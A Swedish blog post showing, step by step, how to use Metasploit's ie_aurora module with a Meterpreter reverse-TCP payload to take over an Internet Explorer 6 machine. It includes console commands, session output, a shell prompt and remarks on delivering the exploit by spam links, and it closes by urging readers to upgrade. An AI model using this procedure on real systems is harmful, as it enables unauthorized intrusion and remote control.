Så här fungerar Aurora-hacket på Internet Explorer 6

Metasploit-projektet är världens största ramverk för IT-penetrationstester. Det är öppen källkod och har den absolut största databasen med kända exploits - säkerhetsluckor - av alla testmiljöer därute på det stora vida internet.

Som jag skrev tidigare så har Metasploit bara några timmar efter tillkännagivandet ordnat ett exploit för det så kallade Aurora-hacket.

Hacket kräver att en webbserver av något slag serverar koden till den sårbara maskinen. Enligt Metasploits blogg, fungerar hacket med en fullt patchad Windows Xp med Service Pack 3.

För att köra igång Metasploit, installera senaste versionen och kör en online-uppdatering.

Starta konsollen med kommandot msfconsole och skriv kommandona i fetstil:

msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (din IP-adress)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.0.151:8080/
[*] Server started.

msf exploit(ie_aurora) >

Öppna Internet Explorer på en sårbar maskin och skriv in det lokala IP-numret (i det här fallet http://192.168.0.151:8080/) i adressfältet. Om allt fungerat som det ska bör du få ett svar från Metasploit-konsollen, som ser ut såhär:

[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.166:1514)

Efter detta kan du inleda en ny session med kommandona i fetstil:

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WINXP\Developer

meterpreter > use espia
Loading extension espia...success.

meterpreter > shell
Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Developer\Desktop>

och du är inne i systemets kommandotolk.

En fin video finns från de snälla människorna på Praetorian:

The "Aurora" IE Exploit in Action from The Crew of Praetorian Prefect on Vimeo.

Den visar hur du gör rent praktiskt för att starta exploiten och döda en process, som ett proof-of-concept.

Denna säkerhetsbrist är alltså just i skrivande stund och sedan tre-fyra dagar tillbaka i allra högsta grad levande. Visserligen krävs det ett spam-epostmeddelande eller kanske någon illasinnad länk skickad via twitter för att få det att fungera, men i dessa url-förkortningstider (Bit.ly för att bara ta ett exempel) är det inget större problem att skicka skräp till varandra.

Varenda statlig institution, varje företag och ideell organisation som fortfarande kör en fullt patchad Windows XP med Service Pack 3, men fortfarande använder Internet Explorer 6 är alltså sårbara för den här typen av intrång!

Så här enkelt är det att ta sig in i ditt nätverk via webbläsaren Internet Explorer 6. Internet Explorer 7 har också denna sårbarhet om än med en variant, likaså en Internet Explorer version 8 om Data Execution Protection (DEP) av någon anledning är avslaget.

Byt ut din Internet Explorer nu!

Läs även andra bloggares intressanta åsikter om attack, banker, exploit, företag, ie, internet explorer, metasploit, microsoft, riskmedvetenhet, säkerhet